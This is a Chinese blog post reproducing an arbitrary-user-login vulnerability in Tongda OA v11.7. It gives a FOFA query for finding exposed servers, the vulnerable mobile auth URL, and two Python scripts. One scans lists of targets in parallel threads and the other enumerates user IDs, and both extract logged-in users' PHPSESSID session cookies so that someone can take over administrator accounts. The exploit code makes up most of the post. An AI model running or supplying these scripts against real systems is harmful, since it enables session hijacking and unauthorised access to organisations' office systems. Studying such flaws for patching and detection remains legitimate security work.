0x00 前言

通达OA V11.7版本存在这任意用户登录漏洞，该漏洞需要管理员在线才可以登录系统，另外一个方面就是编译在线的uid值进行判断。

具体fofa语法放在下面：

app="TDXK-通达OA"

0x01 在线用户判断

访问 ：

http://xxx. xxx . xxx . xxx /mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0

如果页面时空白的，则说明管理员在线，即可以利用

如果显示RELOGIN，则不可以利用

0x02 任意用户登录

获取到uid=1的cookie

同时访问即可进行登录后台：

0x03 POC检测脚本

通过遍历uid的值，判断用户是否上线过，实现任意用户登录，同时该谢大佬脚本，更改了一下批量测试脚本：

import requests
import sys
import random
import re
import time
import threading
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print('+------------------------------------------')
    print('+  \033[34mVersion: 通达OA 11.7            ')
    print('+  \033[34mVersion: 用法：python3 poc.py http://xxx.xxx.xxx.xxx/            ')
    print('+------------------------------------------')

def POC_1(target_url):
    vuln_url = target_url + "/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
    }
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
        if "RELOGIN" in response.text and response.status_code == 200:
            print(target_url.replace("\n","") +"\033[31m[x] 目标用户为下线状态 --- {}\033[0m".format(time.asctime( time.localtime(time.time()))))
        elif response.status_code == 200 and response.text == "":
            PHPSESSION = re.findall(r'PHPSESSID=(.*?);', str(response.headers))
            print(target_url.replace("\n","") + "\033[32m[o] 用户上线 PHPSESSION: {} --- {}\033[0m".format(PHPSESSION[0] ,time.asctime(time.localtime(time.time()))))
        else:
            print("\033[31m[x] 请求失败，目标可能不存在漏洞")
            sys.exit(0)
    except Exception as e:
        print("\033[31m[x] 请求失败 \033[0m", e)

if __name__ == '__main__':
    title()
    # target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
    # while True:
    #     POC_1(target_url)
    #     time.sleep(5)

    # 批量检测
    for url in open("url.txt"):
        # POC_1(url)
        t1 = threading.Thread(target=POC_1, args=(url.replace("\n", ""),))
        t1.start()

网上师傅的脚本：

import requests
from bs4 import BeautifulSoup
import sys
import re

url = sys.argv[1]
for i in range(1,10000):
    try :
        vuln_url = url + "/mobile/auth_mobi.php?isAvatar=1&uid="+str(i)+"&P_VER=0"
        resp = requests.get(vuln_url)
        soup = BeautifulSoup(resp.text,'html.parser')
    
        if 'RELOGIN' in soup.get_text():
            print("不存在")
        else:
            PHPSESSION = re.findall(r'PHPSESSID=(.*?);', str(resp.headers))
            print('uid='+str(i)+"在线"+"对应的COOKIE值是：PHPSESSID="+str(PHPSESSION[0]))
            break
    except:
        break

转载请注明：Adminxe's Blog » 【漏洞复现】通达OA v11.7 在线任意用户登录漏洞